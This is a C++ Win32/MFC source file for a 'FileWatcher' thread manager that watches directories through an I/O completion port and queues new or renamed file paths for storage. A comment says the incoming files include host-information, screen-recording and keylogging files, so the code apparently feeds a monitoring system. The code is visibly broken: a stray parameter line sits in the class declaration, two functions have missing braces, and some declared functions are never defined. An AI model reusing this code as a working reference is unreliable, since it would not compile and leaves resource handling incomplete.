threadmanage

////threadmanage.h


#pragma once
#ifndef THREADMANAGE_H
#define THREADMANAGE_H
//#include "SAStatusLog.h"
#include "DealData.h"
#include "ErgodicFile.h"
#include <map>
#include <vector>
#include <queue>
#include <iostream>
#include <iterator>


using namespace std;
//  using namespace System;
//  using namespace System::Threading;


typedef multimap<CString, CString> G_MapTemp;

#define  BUFFER_SIZE ((sizeof(FILE_NOTIFY_INFORMATION) + MAX_PATH) * 2)

//完成端口結束,釋放資源的標誌
//#define  POSE_COMPLETEPORT_CLOSE_FLAG "CLOSE"
#define  POSE_COMPLETEPORT_CLOSE_FLAG 2012

//允許監視的最大目錄數
#define  MAXHANDLE  12

//線程狀態機
typedef enum _thread_statu
{
 THREAD_STATU_REPARE = 1,//等待執行
 THREAD_STATU_DOING,//正在執行
 THREAD_STATU_SUCCESS,//執行成功
 THREAD_STATU_FAIL,//執行失敗
 THREAD_STATU_USER_STOP//用戶停止
}THREAD_STATU;

typedef enum _contrl_Ok
{
 CONTRL_INSERT,//插入
 CONTRL_DELETE,//刪除
 CONTRL_RETURN//返回
}CONTRL_OK;

//投遞線程結構
typedef struct _thread_stru
{
 volatile THREAD_STATU threadStatuu;

}TREAD_STRU;

//監聽線程句柄傳遞結構體
typedef struct _listen_thread_stru_para
{
 HANDLE FileHandle;//打開文件句柄
 HANDLE CreateCompletePortHandle;//創建完成端口句柄
 char* FilePath;//文件路徑
}LISTEN_THREAD_STRU_PARA;

//用於監聽文件的路徑、更改的文件的信息
typedef struct __listen_thread_stru_info
{
 PFILE_NOTIFY_INFORMATION FileNameInfo;//用於保存文件名字、類型等信息
 CString FilePath;
}LISTEN_THRED_STRU_INFO;

//用於傳遞文件句柄、文件路徑信息
typedef struct struct_handle_info
{
 HANDLE CreateFileHandle;//用於保存創建的文件句柄
 CString FilePath;//保存文件路徑
 int ExitFlag;//只有在析構退出的時候使用
}PSTRUCT_HANDLE_INFO,*LPSTRUCT_HANDLE_INFO;///////

//接收到的數據,包括文件名和擴展名
typedef struct 
{
 CString fileName; //文件名,全路徑
 CString fileType; //擴展名,根據擴展名判定文件類型(主機信息文件、錄屏文件、鍵盤記錄文件)
}RECEIVED_FILE_DATA ,*pRECEIVED_FILE_DATA;

 

 

class CThreadManage
{
public:
 CThreadManage(void);
 ~CThreadManage(void);

public:
 //創建並投遞掃描線程
 HANDLE CreatePostErgodicFileThread(void);

 //創建監視線程
 void CreateListenContentThread(void);

 //創建處理監聽到得數據信息線程
 void CreateInfoDealThread(void);

 BOOL IsExistMonitorDir();

 BOOL CreateMonitorDirHandle();

 BOOL IniPostForMonitorDir();

 bool isEmpty();
 bool isExit();

 friend unsigned __stdcall ExecuteErgodicFile(void* pArguments);

 friend unsigned __stdcall ExecuteListenDirectory(void* pArguments);

 friend unsigned __stdcall ExecuteDealDataProc(void* pArguments);

 friend unsigned __stdcall FileResolveAndStorage(void* pArguments);

//   static void DealDatFile(Object^ strPath);
//   static void DealTmpFile(Object^ strPath);

(void* pArguments);
public:
 //存放投遞線程時分配的內存空間指針
 vector<PSTRUCT_HANDLE_INFO*> m_pVec;
 //vector<OVERLAPPED*> new_Overlapped;//存放投遞線時申請的overlapped空間指針
 //存放路徑
 queue<RECEIVED_FILE_DATA> m_filepath;
 //存路徑的事件變量
 HANDLE hStorageEvent;
 CRITICAL_SECTION StoreDataCriticalSection;
 HANDLE CreateFileResolveAndStorageThread;
public:

 //掃描文件線程句柄
 HANDLE hErgodicFile;

 //退出線程句柄
 /*HANDLE m_ExitHandle;*/

 ////監視目錄句柄數組
 //HANDLE m_ContentListen[MAXHANDLE];


 //記錄已經監視的文件目錄,目前僅用這個容器保存監測目錄
 vector<CString>  m_vecHadListen;

 //
 //vector<CString> m_VecEnd;

 LISTEN_THREAD_STRU_PARA ListenThreadPara;   //監視線程傳遞的參數結構體

 //接收堵塞監視函數返回的值
 char buf[BUFFER_SIZE];        //監聽緩衝區

 //FILE_NOTIFY_INFORMATION* pNotify;

 //保存根據監測目錄,創建的目錄內核句柄
 HANDLE hListen[MAXHANDLE];      
 
 //保存文件路徑數組
 //CString SaveFilePathArry[MAXHANDLE];    
 
 //存放監聽到信息的容器
 queue<LISTEN_THRED_STRU_INFO> QueueSaveListenInfo;
 
 //處理數據線程臨界區
 CRITICAL_SECTION DealDataCriticalSection;   
 
 //監聽線程臨界區
 CRITICAL_SECTION ListenDataCriticalSection;  

 

 //事件句柄EventHandle臨界區,防止多個線程同時改變EventHandle造成訪問衝突
 CRITICAL_SECTION m_EventHandleCriticalSection; 
 
 //用來通知完成端口退出標誌
 PSTRUCT_HANDLE_INFO FileHandlePathPointer;   
 
 //事件句柄
 HANDLE EventHandle;

 int CreateThreadNumber;

 //掃描文件夾對象
  CErgodicFile ergodicFile;

 //數據庫數據處理類對象
  DealData  dealData;

  //聲明一個日誌記錄類
  //CSAStatusLog  g_statusLog;//CSAStatusLog

  HANDLE CreateDealDataThread;
  HANDLE CreateDealDataThreadEvent;
 

  //CString logFile="filewatcher.log";
  //CString fullLogfileName="";
  //FILE* out;
};
#endif

 

 

 

/////threadmanage.cpp

 

#include "StdAfx.h"
#include "ThreadManage.h"
#include "ErgodicFile.h"
#include "DisposeData.h"
#include <process.h>
#include <fstream>
#include "LogFile.h"
using namespace std;

void DealFileAction(void* pArguments);

CThreadManage::CThreadManage(void)
{
 try
 {
  hErgodicFile = INVALID_HANDLE_VALUE;

  //初始化處理監聽數據線程臨界區
  InitializeCriticalSection(&DealDataCriticalSection);
  
  InitializeCriticalSection(&StoreDataCriticalSection);

  //初始化監聽線程臨界區
  InitializeCriticalSection(&ListenDataCriticalSection);
  //m_EventHandleCriticalSection
  InitializeCriticalSection(&m_EventHandleCriticalSection);
  //創建事件句柄
  hStorageEvent = CreateEvent(NULL,true,false,NULL);
  EventHandle = CreateEvent(NULL,true,false,NULL);
  CreateDealDataThreadEvent = CreateEvent(NULL,true,false,NULL);
  memset(buf,0,sizeof(buf));

  //獲取最大批次路徑,保存在dealData.m_mapRunPath與dealData.m_mapMaxProjectId中
  dealData.GetMaxBatch();

  //獲取run_path中已存在目錄保存在dealData.m_mapRunPath中
  //dealData.GetRunPathData();
 }
 catch (...)
 {
  CTime m_currentTime=CTime::GetCurrentTime();
  CString currentTimeStr;
  currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
   m_currentTime.GetYear(),
   m_currentTime.GetMonth(),
   m_currentTime.GetDay(),
   m_currentTime.GetHour(),
   m_currentTime.GetMinute(),
   m_currentTime.GetSecond());
  WRITELOG(currentTimeStr+" "+"FileWatcher construct threadmanage failed!");
 }
}


CThreadManage::~CThreadManage(void)
{
 try
 {
  //釋放掃描文件線程句柄
  if (INVALID_HANDLE_VALUE != hErgodicFile)
  {
   CloseHandle(hErgodicFile);
   hErgodicFile = INVALID_HANDLE_VALUE;
  }

  //置位線程結束標誌
  FileHandlePathPointer.ExitFlag = POSE_COMPLETEPORT_CLOSE_FLAG;

  //向完成端口發送結束標誌,有幾個線程就發送幾次
  for (int i =0;i<this->CreateThreadNumber;++i )
  {
   PostQueuedCompletionStatus(this->ListenThreadPara.CreateCompletePortHandle,0,(DWORD)&FileHandlePathPointer,NULL);
  }

  //WaitForSingleObject(CreateDealDataThreadEvent, INFINITE);

  //釋放處理監聽數據線程臨界區
  DeleteCriticalSection(&DealDataCriticalSection);
  DeleteCriticalSection(&StoreDataCriticalSection);
  //釋放監聽線程臨界區
  DeleteCriticalSection(&ListenDataCriticalSection);
  DeleteCriticalSection(&m_EventHandleCriticalSection);

  //釋放線程運行中申請的內存資源,主要是用來存儲OVERLAPPED的空間
  vector<PSTRUCT_HANDLE_INFO*>::iterator iterPvEC = m_pVec.begin();
  while (iterPvEC != m_pVec.end())
  {
   PSTRUCT_HANDLE_INFO *tEMP = *iterPvEC;
   delete tEMP;
   tEMP = NULL;
   iterPvEC++;
  }
  CloseHandle(EventHandle);
  CloseHandle(hStorageEvent);
  m_pVec.clear();
 }
 catch (...)
 {
  CTime m_currentTime=CTime::GetCurrentTime();
  CString currentTimeStr;
  currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
   m_currentTime.GetYear(),
   m_currentTime.GetMonth(),
   m_currentTime.GetDay(),
   m_currentTime.GetHour(),
   m_currentTime.GetMinute(),
   m_currentTime.GetSecond());

  WRITELOG(currentTimeStr+" "+"FileWatcher deconstruct threadmanage failed!");
 }
 
}


unsigned __stdcall ExecuteErgodicFile(void* pArguments)

 try
 {
  //CTime m_currentTime=CTime::GetCurrentTime();
  //CString currentTimeStr;
  //currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
  // m_currentTime.GetYear(),
  // m_currentTime.GetMonth(),
  // m_currentTime.GetDay(),
  // m_currentTime.GetHour(),
  // m_currentTime.GetMinute(),
  // m_currentTime.GetSecond());
  //DWORD tmpThreadId = GetCurrentThreadId();
  //CString tmpThreadIdStr;
  //tmpThreadIdStr.Format("%d",tmpThreadId);
  //WRITELOG(currentTimeStr+" "+"thread id:("+tmpThreadIdStr+") ErgodicFile thread directory ..."); 

  CThreadManage * tmpthis=(CThreadManage *)pArguments;
  VecMaxPath *vecTemp = tmpthis->dealData.ReturnMaxBatchPath();
  VecMaxPath::iterator iterVec = vecTemp->begin();
  //遍歷文查找ok.txt文件;若果存在,則存入公用緩存;
  CString strTemp;
  while (iterVec != vecTemp->end())
  {
   strTemp = *iterVec;
   tmpthis->ergodicFile.GetFilePath(strTemp);
   iterVec++;
  }
  //m_currentTime=CTime::GetCurrentTime();
  ////CString currentTimeStr;
  //currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
  // m_currentTime.GetYear(),
  // m_currentTime.GetMonth(),
  // m_currentTime.GetDay(),
  // m_currentTime.GetHour(),
  // m_currentTime.GetMinute(),
  // m_currentTime.GetSecond());
  //WRITELOG(currentTimeStr+" "+"FileWatcher Ergodic Directory success!");
  return 0;
 }
 catch (...)
 {
  CTime m_currentTime=CTime::GetCurrentTime();
  CString currentTimeStr;
  currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
   m_currentTime.GetYear(),
   m_currentTime.GetMonth(),
   m_currentTime.GetDay(),
   m_currentTime.GetHour(),
   m_currentTime.GetMinute(),
   m_currentTime.GetSecond());
  WRITELOG("ERR:"+currentTimeStr+" "+"FileWatcher Ergodic Directory failed!");
  return -1;
 }

// tmpthis->g_statusLog.StatusOut("end---ExecuteErgodicFile");
 
}


HANDLE CThreadManage::CreatePostErgodicFileThread(void)
{

 try
 {
  DWORD dwData;
  unsigned  threadID;
  if (!GetExitCodeThread(hErgodicFile, &dwData) || dwData == STILL_ACTIVE)
  {
   hErgodicFile = (HANDLE)_beginthreadex(NULL, 0, &ExecuteErgodicFile, this, 0, &threadID);
   if (INVALID_HANDLE_VALUE == hErgodicFile)
   {
    return NULL;
   }

  }
  //SYSTEMTIME currentTime;
  //GetLocalTime(&currentTime);
  //CString currentTimeStr;
  //currentTimeStr.Format(_T("%4u%2u%2u %2u:%2u:%2u"),
  // currentTime.wYear,
  // currentTime.wMonth,
  // currentTime.wDay,
  // currentTime.wHour,
  // currentTime.wMinute,
  // currentTime.wSecond);
  //WRITELOG(currentTimeStr+"FileWatcher create  Ergodic thread success!");
  return hErgodicFile;
 }
 catch (...)
 {
  CTime m_currentTime=CTime::GetCurrentTime();
  CString currentTimeStr;
  currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
   m_currentTime.GetYear(),
   m_currentTime.GetMonth(),
   m_currentTime.GetDay(),
   m_currentTime.GetHour(),
   m_currentTime.GetMinute(),
   m_currentTime.GetSecond());
  WRITELOG("ERR:"+currentTimeStr+" "+"FileWatcher create   Ergodic thread failed!");
  return NULL;
 }
}

unsigned __stdcall ExecuteListenDirectory(void* pArguments)
{

 try
 {
/*  CTime m_currentTime=CTime::GetCurrentTime();
  CString currentTimeStr;
  currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
   m_currentTime.GetYear(),
   m_currentTime.GetMonth(),
   m_currentTime.GetDay(),
   m_currentTime.GetHour(),
   m_currentTime.GetMinute(),
   m_currentTime.GetSecond());
  DWORD tmpThreadId = GetCurrentThreadId();
  CString tmpThreadIdStr;
  tmpThreadIdStr.Format("%d",tmpThreadId);
  WRITELOG(currentTimeStr+" "+"thread id:("+tmpThreadIdStr+")FileWatcher is monitoring  directory ..."); */ 
  //當前對象指針
  CThreadManage* tmpthis = (CThreadManage*)pArguments;

  //完成端口返回數據大小
  DWORD SizeOfRecieveByte = 0;

  //LPSTRUCT_HANDLE_INFO類型指針,用於對GetQueuedCompletionStatus
  //中獲取的數據進行類型轉換,以得到文件夾變化信息和結束標誌
  LPSTRUCT_HANDLE_INFO HandleData;

  //OVERLAPPED指針
  LPOVERLAPPED lpstOverlapped = NULL;

  //緩衝區指針,用於保存PFILE_NOTIFY_INFORMATION信息,並放入到隊列中
  char *lpszBuffer = NULL;

  //是否成功獲取完成端口狀態
  BOOL IsCompletionPortStatusOk=FALSE;

  while(true)
  {
   //從完成端口獲取數據信息
   IsCompletionPortStatusOk = GetQueuedCompletionStatus(tmpthis->ListenThreadPara.CreateCompletePortHandle,
    &SizeOfRecieveByte,(LPDWORD)&HandleData,&lpstOverlapped,INFINITE);

   if (!IsCompletionPortStatusOk)
   {
    //return -1;
    DWORD tmpThreadId = GetCurrentThreadId();
    CString tmpThreadIdStr;
    CTime m_currentTime=CTime::GetCurrentTime();
    CString currentTimeStr;
    m_currentTime=CTime::GetCurrentTime();
    currentTimeStr;
    currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
     m_currentTime.GetYear(),
     m_currentTime.GetMonth(),
     m_currentTime.GetDay(),
     m_currentTime.GetHour(),
     m_currentTime.GetMinute(),
     m_currentTime.GetSecond());
    tmpThreadId = GetCurrentThreadId();
    tmpThreadIdStr;
    tmpThreadIdStr.Format("%d",tmpThreadId);
    WRITELOG("ERR:" + currentTimeStr + " " + "thread id:(" + tmpThreadIdStr + ")FileWatcher GetQueuedCompletionStatus failed!"); 
    continue;
   }


   //是否結束,該結束標誌由類析構函數中設置併發送
   if (HandleData->ExitFlag == POSE_COMPLETEPORT_CLOSE_FLAG)
   {
    //EnterCriticalSection(&tmpthis->m_EventHandleCriticalSection);
    SetEvent(tmpthis->EventHandle);//通知數據處理線程開始處理數據 
    //LeaveCriticalSection(&tmpthis->m_EventHandleCriticalSection);
    break;
   }

   lpszBuffer = new char[SizeOfRecieveByte];
   memcpy(lpszBuffer, tmpthis->buf, SizeOfRecieveByte);

   //用於獲取PFILE_NOTIFY_INFORMATION類型的文件變化信息
   LISTEN_THRED_STRU_INFO LstenThreadInfo;
   LstenThreadInfo.FileNameInfo = (PFILE_NOTIFY_INFORMATION)lpszBuffer;/////包含更改文件信息的結構,windowNT定義
   LstenThreadInfo.FilePath = HandleData->FilePath;

   //將獲取到的文件夾變化信息放入隊列QueueSaveListenInfo
   EnterCriticalSection(&tmpthis->ListenDataCriticalSection);
   tmpthis->QueueSaveListenInfo.push(LstenThreadInfo);//進入臨界區保護數據 
   LeaveCriticalSection(&tmpthis->ListenDataCriticalSection);

   SetEvent(tmpthis->EventHandle);//通知數據處理線程開始處理數據 
   
   //監視線程函數裏,投遞新一輪監視函數
   OVERLAPPED m_stOverLapped;
   //new_Overlapped  
   DWORD dwBytesReturned;
   memset(&m_stOverLapped, 0, sizeof(OVERLAPPED));
   memset(tmpthis->buf,0,sizeof(tmpthis->buf));
   if( ::ReadDirectoryChangesW(HandleData->CreateFileHandle,//文件句柄&//文件句柄可以綁在一個結構體上通過IOKeyWord傳過來,
    tmpthis->buf,           //接收到那個就繼續投遞哪個文件句柄
    sizeof(tmpthis->buf),
    true,
    FILE_NOTIFY_CHANGE_FILE_NAME,//監視類型
    &dwBytesReturned,
    &m_stOverLapped,
    NULL ) == FALSE)
   {
    return -1;//投遞失敗返回1
   }
  }
  return 0;

 }
 catch (...)
 {
  CTime m_currentTime=CTime::GetCurrentTime();
  CString currentTimeStr;
  currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
   m_currentTime.GetYear(),
   m_currentTime.GetMonth(),
   m_currentTime.GetDay(),
   m_currentTime.GetHour(),
   m_currentTime.GetMinute(),
   m_currentTime.GetSecond());

  DWORD tmpThreadId = GetCurrentThreadId();
  CString tmpThreadIdStr;
  tmpThreadIdStr.Format("%d",tmpThreadId);  
  WRITELOG("ERR:"+currentTimeStr+" "+"thread id:("+tmpThreadIdStr+")FileWatcher  directory monitor failed!");
  return -1;
 }

}


void CThreadManage::CreateListenContentThread(void)
{
 try
 {
  //創建完成端口
  this->ListenThreadPara.CreateCompletePortHandle = CreateIoCompletionPort(INVALID_HANDLE_VALUE,NULL,0,0);

  //創建完成端口失敗
  if (NULL == this->ListenThreadPara.CreateCompletePortHandle)
  {
   return ;
  }
  //判斷各監測目錄是否存在
  if(!IsExistMonitorDir())
  {
   return;
  }
  //創建監測目錄句柄
  if(!CreateMonitorDirHandle())
  {
   return;
  }

  //根據CPU數量,創建cup數量*2的線程
  SYSTEM_INFO SystemInfo;
  GetSystemInfo(&SystemInfo);

  //保存開啓線程數量
  this->CreateThreadNumber = (SystemInfo.dwNumberOfProcessors)*2+2;
  HANDLE CreateThreadHandle;
  //投遞監聽文件夾變化線程
  unsigned  threadID;
  for(int i = 0;i<this->CreateThreadNumber;++i)
  {
   CreateThreadHandle = (HANDLE)_beginthreadex(NULL, 0, &ExecuteListenDirectory, this, 0, &threadID);
   if (NULL!=CreateThreadHandle)
   {
    CloseHandle(CreateThreadHandle);
    CreateThreadHandle = NULL;
   }
  }

  //向完成端口投遞請求
  if(!IniPostForMonitorDir())
  {
   return;
  }
  //CTime m_currentTime=CTime::GetCurrentTime();
  //CString currentTimeStr;
  //currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
  // m_currentTime.GetYear(),
  // m_currentTime.GetMonth(),
  // m_currentTime.GetDay(),
  // m_currentTime.GetHour(),
  // m_currentTime.GetMinute(),
  // m_currentTime.GetSecond());
  //WRITELOG(currentTimeStr+" "+"FileWatcher create directory monitor thread success!");
 }
 catch (...)
 {
  CTime m_currentTime=CTime::GetCurrentTime();
  CString currentTimeStr;
  currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
   m_currentTime.GetYear(),
   m_currentTime.GetMonth(),
   m_currentTime.GetDay(),
   m_currentTime.GetHour(),
   m_currentTime.GetMinute(),
   m_currentTime.GetSecond());
  WRITELOG("ERR:"+currentTimeStr+" "+"FileWatcher create directory monitor thread failed!");
 }


BOOL CThreadManage::IsExistMonitorDir()
{
 //獲得最大批次路徑,存入mapTemp
 VecMaxPath *mapTemp = dealData.ReturnMaxBatchPath();
 VecMaxPath::iterator mapFirst = mapTemp->begin(); 

 //系統默認最大監測12個目錄超過這個數值應當提示用戶並返回
 if ((int)mapTemp->size() >= MAXHANDLE)
 {
  return false;
 }

 CString tmpMonitorDir;
 //首先判斷每個監測目錄是否存在,並記錄監測目錄
 for (int i=0; i!=(int)mapTemp->size(); i++)
 {
  tmpMonitorDir = *mapFirst;
  HANDLE hListen = CreateFile(tmpMonitorDir,//檢測文件路徑
   GENERIC_READ|GENERIC_WRITE,
   FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
   NULL,
   OPEN_EXISTING,
   FILE_FLAG_BACKUP_SEMANTICS|FILE_FLAG_OVERLAPPED,//必須要該模式//新添加了重疊IO模式
   NULL);
  if (INVALID_HANDLE_VALUE == hListen)
  {    
   continue;
  }
  CloseHandle(hListen);

  //記錄到已監視緩存
  m_vecHadListen.push_back(tmpMonitorDir);
  mapFirst++;  
 }
 return true;
}


BOOL CThreadManage::CreateMonitorDirHandle()
{
 //通過迭代器循環創建監測文件句柄
 vector<CString>::iterator VecIteraor = m_vecHadListen.begin();
 int FilePathVectorSize = (int)m_vecHadListen.size();
 for (int i = 0; i != FilePathVectorSize; ++i)
 {
  PSTRUCT_HANDLE_INFO* FileHandlePathPointer;

  //this->SaveFilePathArry[i] = *VecIteraor;

  this->hListen[i] = CreateFile(*VecIteraor/*SaveFilePathArry[i]*/,//檢測文件路徑
   GENERIC_READ|GENERIC_WRITE,
   FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
   NULL,
   OPEN_EXISTING,
   FILE_FLAG_BACKUP_SEMANTICS|FILE_FLAG_OVERLAPPED,//必須要該模式//新添加了重疊IO模式
   NULL);
  if (INVALID_HANDLE_VALUE == hListen[i])
  {
   return false;
  }

  FileHandlePathPointer = new PSTRUCT_HANDLE_INFO;

  m_pVec.push_back(FileHandlePathPointer);

  if (NULL==FileHandlePathPointer)
  {   
   return false;
  }
  FileHandlePathPointer->CreateFileHandle = this->hListen[i];
  FileHandlePathPointer->FilePath = *VecIteraor;
  //綁定完成端口
  //等綁定的完成端口句柄
  HANDLE BindCompletePort;
  if ((BindCompletePort = CreateIoCompletionPort(hListen[i],this->ListenThreadPara.CreateCompletePortHandle,(DWORD)FileHandlePathPointer,0)) == NULL)
  {
   return false;
  }
  VecIteraor++;
 }
 return true;
}


BOOL CThreadManage::IniPostForMonitorDir()
{
 vector<CString>::iterator VecIteraor = m_vecHadListen.begin();
 int FilePathVectorSize = (int)m_vecHadListen.size();
 for (int i = 0;i < FilePathVectorSize; ++i)
 {
  //投遞IO請求
  OVERLAPPED Overlapped;
  DWORD dwByteRet = 0;
  //清空OVERLAPPED結構
  memset(&Overlapped, 0, sizeof(OVERLAPPED));
  memset(this->buf,0,BUFFER_SIZE);
  if (this->hListen[i] != NULL)
  {
   if (!ReadDirectoryChangesW(
    this->hListen[i],
    this->buf,
    BUFFER_SIZE,//緩衝數組的大小
    TRUE,
    FILE_NOTIFY_CHANGE_FILE_NAME,
    &dwByteRet,
    (LPWSAOVERLAPPED)&Overlapped,
    NULL
    ))
   {    
    return false;//投遞失敗
   }
  }
 }
 return true;
}


typedef struct DealDataSTR
{
 CString strPara;
 CString ProjectPath;
 void *pArguments;
}DEAL_DATA_STRUCT,*LPDEAL_DATA_STRUCT;
unsigned __stdcall ExecuteDealDataProc(void* pArguments)
{
 try
 {
  //當前對象指針,pArguments接受的是當前對象指針
  CThreadManage* tmpthis = (CThreadManage*)pArguments;
  while(TRUE)
  {
   WaitForSingleObject(tmpthis->EventHandle,INFINITE);

   if(tmpthis->isEmpty()&&tmpthis->isExit())
   {
    //CreateDealDataThreadEvent
    //SetEvent(tmpthis->CreateDealDataThreadEvent);
    //CTime m_currentTime=CTime::GetCurrentTime();
    //CString currentTimeStr;
    //currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
    // m_currentTime.GetYear(),
    // m_currentTime.GetMonth(),
    // m_currentTime.GetDay(),
    // m_currentTime.GetHour(),
    // m_currentTime.GetMinute(),
    // m_currentTime.GetSecond());
    //WRITELOG(currentTimeStr+" "+"FileWatcher deal data thread end!");
    break;
   } 

   //從隊列中取數據

   EnterCriticalSection(&tmpthis->DealDataCriticalSection);
   LISTEN_THRED_STRU_INFO DatastructPara = tmpthis->QueueSaveListenInfo.front();
   tmpthis->QueueSaveListenInfo.pop(); 
   LeaveCriticalSection(&tmpthis->DealDataCriticalSection);

   //用於保存文件名,str1原文件名,str2新文件名
   char tmp[MAX_PATH+256], str1[MAX_PATH+256], str2[MAX_PATH+256];
   memset(tmp, 0, sizeof(tmp));
   WideCharToMultiByte(CP_ACP, 0, DatastructPara.FileNameInfo->FileName,DatastructPara.FileNameInfo->FileNameLength/2, tmp, MAX_PATH+256, NULL, NULL);
   strcpy_s(str1, strlen(tmp) + 1, tmp);

   //判斷是否存在同時產生的變化,指文件夾中發生了重命名操作
   if(DatastructPara.FileNameInfo->NextEntryOffset !=0)
   {
    PFILE_NOTIFY_INFORMATION p = (PFILE_NOTIFY_INFORMATION)((char*)DatastructPara.FileNameInfo+DatastructPara.FileNameInfo->NextEntryOffset);
    memset(tmp, 0, sizeof(tmp));
    WideCharToMultiByte( CP_ACP, 0, p->FileName, p->FileNameLength/2, tmp, MAX_PATH+256, NULL, NULL);
    strcpy_s(str2, strlen(tmp) + 1, tmp);
   }
   //將數據插入緩存
   CString strSQL;
   UINT iProjectId = 0;
   CString strData;//文件路徑
   CString strNow;//用於判斷文件是否是OK.TXT文件
   bool bSign = false;

   CString filePath;
   int start = -1;
   CString fileType("");
   LPDEAL_DATA_STRUCT tmpDealData=new DEAL_DATA_STRUCT;//保存處理數據結構
   RECEIVED_FILE_DATA tmpFileData;
   
   switch(DatastructPara.FileNameInfo->Action)
   {   
   case FILE_ACTION_RENAMED_OLD_NAME:
   case FILE_ACTION_RENAMED_NEW_NAME:   
    tmpDealData->ProjectPath=DatastructPara.FilePath;
    tmpDealData->strPara=str2;
    tmpDealData->pArguments=tmpthis;
    
    fileType = str2;
    while((start = fileType.Find('.')) != -1)
    {
     fileType = fileType.Right(fileType.GetLength() - start -1);//取出擴展名
    }
    filePath = tmpDealData->ProjectPath + "\\" + tmpDealData->strPara ;
    tmpFileData.fileName = filePath;
    
    tmpFileData.fileType = fileType;
    EnterCriticalSection(&tmpthis->StoreDataCriticalSection);
    tmpthis->m_filepath.push(tmpFileData);
    LeaveCriticalSection(&tmpthis->StoreDataCriticalSection);
    SetEvent(tmpthis->hStorageEvent);
    //QueueUserWorkItem(DealFileAction, tmpDealData, WT_EXECUTEDEFAULT);
    //DealFileAction(tmpDealData);
    break;
   case FILE_ACTION_ADDED://創建新文件   
    tmpDealData->ProjectPath=DatastructPara.FilePath;
    tmpDealData->strPara=str1;
    tmpDealData->pArguments=tmpthis;

    fileType = str1;
    while((start = fileType.Find('.')) != -1)
    {
     fileType = fileType.Right(fileType.GetLength() - start -1);//取出擴展名
    }
    filePath = tmpDealData->ProjectPath + "\\" + tmpDealData->strPara ;
    tmpFileData.fileName = filePath;

    tmpFileData.fileType = fileType;
    EnterCriticalSection(&tmpthis->StoreDataCriticalSection);
    tmpthis->m_filepath.push(tmpFileData);
    LeaveCriticalSection(&tmpthis->StoreDataCriticalSection);
    SetEvent(tmpthis->hStorageEvent);
    //QueueUserWorkItem(DealFileAction, tmpDealData, WT_EXECUTEDEFAULT);
    //DealFileAction(tmpDealData);
    break;
   default:
    delete tmpDealData;
    break; 
   }   
   if(!tmpthis->isExit()&&!tmpthis->isEmpty())
   {
    //cout<<tmpthis->QueueSaveListenInfo.size()<<endl;
    SetEvent(tmpthis->EventHandle);
   }
   else
   {
    ResetEvent(tmpthis->EventHandle);
   }
   delete DatastructPara.FileNameInfo; 
   
  }
  return 0;
 }
 catch (...)
 {
  CTime m_currentTime=CTime::GetCurrentTime();
  CString currentTimeStr;
  currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
   m_currentTime.GetYear(),
   m_currentTime.GetMonth(),
   m_currentTime.GetDay(),
   m_currentTime.GetHour(),
   m_currentTime.GetMinute(),
   m_currentTime.GetSecond());
  WRITELOG("ERR:"+currentTimeStr+" "+"FileWatcher dealing data failed!");

  return -1;
 }

}

//DWORD WINAPI DealFileAction(LPVOID pArguments)
void DealFileAction(void* pArguments)
{
 try
 {
  //cout<<"DealFileAction"<<endl;
  LPDEAL_DATA_STRUCT dealdatatmpptr=(LPDEAL_DATA_STRUCT)pArguments;
  //當前對象指針,pArguments接受的是當前對象指針
  CThreadManage* tmpthis = (CThreadManage*)dealdatatmpptr->pArguments;
  CString strData=dealdatatmpptr->ProjectPath;
  CString strNow=dealdatatmpptr->strPara;
  bool bSign = false;
  strNow.MakeUpper();
  //cout<<strNow<<endl;
  if (strNow.Find(TEXT("\\")) != -1)
  {
   strNow.MakeReverse();
   strNow = strNow.Mid(0,strNow.Find(TEXT("\\")));
   strNow.MakeReverse();
   //判斷文件是否是ok.txt文件
   if (strcmp(strNow, TEXT("OK.TXT")) == 0)
   {
    strData += TEXT("\\");
    strData += dealdatatmpptr->strPara;
    strData.MakeReverse();
    strData = strData.Mid(strData.Find(TEXT("\\")) + 1);
    strData.MakeReverse();
    bSign = true;
   }
  }
  else
  {
   //判斷文件是否是ok.txt文件
   if (strcmp(strNow, TEXT("OK.TXT")) == 0)
   {
    bSign = true;
   }
  }
  if (bSign)
  {
   if(!tmpthis->dealData.IsExistInRunPath(dealdatatmpptr->ProjectPath,strData))
   {
    //tmpthis->dealData.ControlDataInsertOrRead(dealdatatmpptr->ProjectPath, strData);
    bSign = false;


   }
  }

 }
 catch (...)
 {
  CTime m_currentTime=CTime::GetCurrentTime();
  CString currentTimeStr;
  currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
   m_currentTime.GetYear(),
   m_currentTime.GetMonth(),
   m_currentTime.GetDay(),
   m_currentTime.GetHour(),
   m_currentTime.GetMinute(),
   m_currentTime.GetSecond());
  WRITELOG("ERR:"+currentTimeStr+" "+"FileWatcher ok.txt path inser into mysql failed!");
 }

 //dealdatatmpptr->pArguments=NULL;
 //delete dealdatatmpptr;
 //delete pArguments;
 //delete dealdatatmpptr;
 //return 0;
}


void CThreadManage::CreateInfoDealThread(void)
{
 unsigned  threadID;
 unsigned  storagteThreadID;
 CreateDealDataThread = (HANDLE)_beginthreadex(NULL, 0, &ExecuteDealDataProc, this, 0, &threadID);
//   if (NULL != CreateDealDataThread)
//   {
//    CloseHandle(CreateDealDataThread);
//    CreateDealDataThread = NULL;
//   }
 CreateFileResolveAndStorageThread = (HANDLE)_beginthreadex(NULL, 0, &FileResolveAndStorage, this, 0, &storagteThreadID);
}


bool CThreadManage::isExit()
{
 //是否結束
 bool result=false;

 if (FileHandlePathPointer.ExitFlag == POSE_COMPLETEPORT_CLOSE_FLAG)
 {
   result = true;
 }
 return result;
}


